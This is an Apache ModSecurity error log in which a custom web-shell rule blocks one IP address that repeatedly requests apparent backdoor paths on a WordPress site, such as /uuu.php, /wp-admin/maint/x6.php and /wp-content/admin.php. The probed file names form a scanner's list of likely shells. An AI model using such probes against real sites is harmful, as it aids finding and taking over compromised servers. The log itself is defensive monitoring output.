[Tue Apr 14 22:01:39.609851 2026] [:error] [pid 59985:tid 60017] [client 20.188.36.87:13314] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5Iw-gHaxkvLE6V1klsRQAAABg"]
[Tue Apr 14 22:01:40.080162 2026] [:error] [pid 59987:tid 60059] [client 20.188.36.87:13431] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5IxFWpk-Tfi6_vLKpBugAAAIw"]
[Tue Apr 14 22:01:40.551981 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13423] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5IxJ6axKeW6bX4H7eUrgAAAFA"]
[Tue Apr 14 22:01:41.022861 2026] [:error] [pid 59987:tid 60055] [client 20.188.36.87:13349] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5IxVWpk-Tfi6_vLKpBvgAAAIg"]
[Tue Apr 14 22:01:41.495132 2026] [:error] [pid 60074:tid 60077] [client 20.188.36.87:13550] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ad5IxetqnEmNU9vpHCm0TwAAAME"]
[Tue Apr 14 22:01:41.971504 2026] [:error] [pid 3778:tid 3803] [client 20.188.36.87:13404] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ad5IxRx5DfpNmYF_PaH2-AAAAVc"]
[Tue Apr 14 22:01:42.443010 2026] [:error] [pid 59986:tid 60044] [client 20.188.36.87:13399] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ad5Ixp6axKeW6bX4H7eUswAAAFg"]
[Tue Apr 14 22:01:42.913776 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:13477] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ad5Ixp6axKeW6bX4H7eUtAAAAFc"]
[Tue Apr 14 22:01:43.384654 2026] [:error] [pid 59987:tid 60052] [client 20.188.36.87:13421] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/x6.php"] [unique_id "ad5Ix1Wpk-Tfi6_vLKpBwQAAAIU"]
[Tue Apr 14 22:01:43.855192 2026] [:error] [pid 3810:tid 3828] [client 20.188.36.87:13556] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/x6.php"] [unique_id "ad5Ix8qc5XaYZhFXVGe4igAAAY8"]
[Tue Apr 14 22:01:44.324973 2026] [:error] [pid 59986:tid 60029] [client 20.188.36.87:13419] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/x6.php"] [unique_id "ad5IyJ6axKeW6bX4H7eUuQAAAEk"]
[Tue Apr 14 22:01:44.794548 2026] [:error] [pid 60074:tid 60095] [client 20.188.36.87:13466] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/x6.php"] [unique_id "ad5IyOtqnEmNU9vpHCm0VAAAANM"]
[Tue Apr 14 22:01:45.269484 2026] [:error] [pid 3778:tid 3799] [client 20.188.36.87:13429] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "ad5IyRx5DfpNmYF_PaH2_QAAAVM"]
[Tue Apr 14 22:01:45.743254 2026] [:error] [pid 3778:tid 3789] [client 20.188.36.87:13382] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "ad5IyRx5DfpNmYF_PaH3AQAAAUk"]
[Tue Apr 14 22:01:46.215377 2026] [:error] [pid 59986:tid 60024] [client 20.188.36.87:13405] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "ad5Iyp6axKeW6bX4H7eUxAAAAEQ"]
[Tue Apr 14 22:01:46.685671 2026] [:error] [pid 3778:tid 3794] [client 20.188.36.87:13386] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "ad5Iyhx5DfpNmYF_PaH3BgAAAU4"]
[Tue Apr 14 22:01:47.156935 2026] [:error] [pid 3778:tid 3800] [client 20.188.36.87:13465] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "ad5Iyxx5DfpNmYF_PaH3CQAAAVQ"]
[Tue Apr 14 22:01:47.627393 2026] [:error] [pid 3810:tid 3825] [client 20.188.36.87:13360] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "ad5Iy8qc5XaYZhFXVGe4nQAAAYw"]
[Tue Apr 14 22:01:48.097662 2026] [:error] [pid 22177:tid 22188] [client 20.188.36.87:13328] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "ad5IzITVeJSXHDIlEDuRjwAAAQk"]
[Tue Apr 14 22:01:48.567564 2026] [:error] [pid 3778:tid 3792] [client 20.188.36.87:13435] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "ad5IzBx5DfpNmYF_PaH3EwAAAUw"]
[Tue Apr 14 22:01:49.038818 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:13490] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "ad5IzZ6axKeW6bX4H7eU2QAAAE4"]
[Tue Apr 14 22:01:49.509429 2026] [:error] [pid 59986:tid 60044] [client 20.188.36.87:13443] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "ad5IzZ6axKeW6bX4H7eU3QAAAFg"]
[Tue Apr 14 22:01:49.979816 2026] [:error] [pid 59986:tid 60033] [client 20.188.36.87:13315] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "ad5IzZ6axKeW6bX4H7eU4QAAAE0"]
[Tue Apr 14 22:01:50.460930 2026] [:error] [pid 59986:tid 60026] [client 20.188.36.87:13461] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "ad5Izp6axKeW6bX4H7eU5QAAAEY"]
[Tue Apr 14 22:01:50.931674 2026] [:error] [pid 59985:tid 60016] [client 20.188.36.87:13367] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "ad5IzugHaxkvLE6V1klsUgAAABc"]
[Tue Apr 14 22:01:51.401931 2026] [:error] [pid 3810:tid 3816] [client 20.188.36.87:13319] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "ad5Iz8qc5XaYZhFXVGe4swAAAYM"]
[Tue Apr 14 22:01:51.871926 2026] [:error] [pid 3810:tid 3830] [client 20.188.36.87:13376] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "ad5Iz8qc5XaYZhFXVGe4twAAAZE"]
[Tue Apr 14 22:01:52.343205 2026] [:error] [pid 60074:tid 60091] [client 20.188.36.87:13542] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "ad5I0OtqnEmNU9vpHCm0lwAAAM8"]
[Tue Apr 14 22:01:52.818887 2026] [:error] [pid 3810:tid 3823] [client 20.188.36.87:13425] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ad5I0Mqc5XaYZhFXVGe4uwAAAYo"]
[Tue Apr 14 22:01:53.290316 2026] [:error] [pid 3778:tid 3803] [client 20.188.36.87:13502] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ad5I0Rx5DfpNmYF_PaH3KgAAAVc"]
[Tue Apr 14 22:01:53.764512 2026] [:error] [pid 60074:tid 60086] [client 20.188.36.87:13321] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ad5I0etqnEmNU9vpHCm0nAAAAMo"]
[Tue Apr 14 22:01:54.238037 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:13324] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ad5I0sqc5XaYZhFXVGe4wgAAAYI"]
[Tue Apr 14 22:01:54.709414 2026] [:error] [pid 3810:tid 3826] [client 20.188.36.87:13391] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5I0sqc5XaYZhFXVGe4xgAAAY0"]
[Tue Apr 14 22:01:55.185100 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:13493] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5I056axKeW6bX4H7eU9gAAAEM"]
[Tue Apr 14 22:01:55.655340 2026] [:error] [pid 22177:tid 22197] [client 20.188.36.87:13372] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5I04TVeJSXHDIlEDuRngAAARI"]
[Tue Apr 14 22:01:56.126392 2026] [:error] [pid 3810:tid 3830] [client 20.188.36.87:13437] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5I1Mqc5XaYZhFXVGe4ygAAAZE"]
[Tue Apr 14 22:01:56.598155 2026] [:error] [pid 3778:tid 3802] [client 20.188.36.87:13413] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5I1Bx5DfpNmYF_PaH3LQAAAVY"]
[Tue Apr 14 22:01:57.069443 2026] [:error] [pid 59986:tid 60032] [client 20.188.36.87:11207] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5I1Z6axKeW6bX4H7eU-wAAAEw"]
[Tue Apr 14 22:01:57.540135 2026] [:error] [pid 3810:tid 3828] [client 20.188.36.87:13346] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5I1cqc5XaYZhFXVGe40gAAAY8"]
[Tue Apr 14 22:01:58.010952 2026] [:error] [pid 3810:tid 3833] [client 20.188.36.87:13528] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5I1sqc5XaYZhFXVGe41QAAAZQ"]
[Tue Apr 14 22:01:58.482574 2026] [:error] [pid 3810:tid 3835] [client 20.188.36.87:13347] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ad5I1sqc5XaYZhFXVGe42QAAAZY"]
[Tue Apr 14 22:01:58.954722 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:13331] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ad5I1sqc5XaYZhFXVGe43wAAAYI"]
[Tue Apr 14 22:01:59.427825 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13345] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ad5I156axKeW6bX4H7eU_wAAAEc"]
[Tue Apr 14 22:01:59.898905 2026] [:error] [pid 22177:tid 22181] [client 20.188.36.87:13514] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "ad5I14TVeJSXHDIlEDuRoQAAAQI"]
[Tue Apr 14 22:02:00.370535 2026] [:error] [pid 59985:tid 60011] [client 20.188.36.87:13427] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ad5I2OgHaxkvLE6V1klsVQAAABI"]
[Tue Apr 14 22:02:00.844197 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:13332] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ad5I2J6axKeW6bX4H7eVBgAAAE4"]
[Tue Apr 14 22:02:01.329486 2026] [:error] [pid 3810:tid 3822] [client 20.188.36.87:13354] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ad5I2cqc5XaYZhFXVGe4-QAAAYk"]
[Tue Apr 14 22:02:01.800115 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:13430] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ad5I2Z6axKeW6bX4H7eVCAAAAEU"]
[Tue Apr 14 22:02:02.270084 2026] [:error] [pid 59986:tid 60036] [client 20.188.36.87:13329] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "ad5I2p6axKeW6bX4H7eVCQAAAFA"]
[Tue Apr 14 22:02:02.743983 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13526] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "ad5I2p6axKeW6bX4H7eVCwAAAEc"]
[Tue Apr 14 22:02:03.215565 2026] [:error] [pid 60074:tid 60083] [client 20.188.36.87:13333] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "ad5I2-tqnEmNU9vpHCm01wAAAMc"]
[Tue Apr 14 22:02:03.689764 2026] [:error] [pid 3810:tid 3825] [client 20.188.36.87:13342] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "ad5I28qc5XaYZhFXVGe5EAAAAYw"]
[Tue Apr 14 22:02:04.161438 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:13389] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "ad5I3Mqc5XaYZhFXVGe5EgAAAYE"]
[Tue Apr 14 22:02:04.632598 2026] [:error] [pid 59987:tid 60071] [client 20.188.36.87:11221] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "ad5I3FWpk-Tfi6_vLKpByQAAAJg"]
[Tue Apr 14 22:02:05.102833 2026] [:error] [pid 3778:tid 3799] [client 20.188.36.87:13361] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "ad5I3Rx5DfpNmYF_PaH3SQAAAVM"]
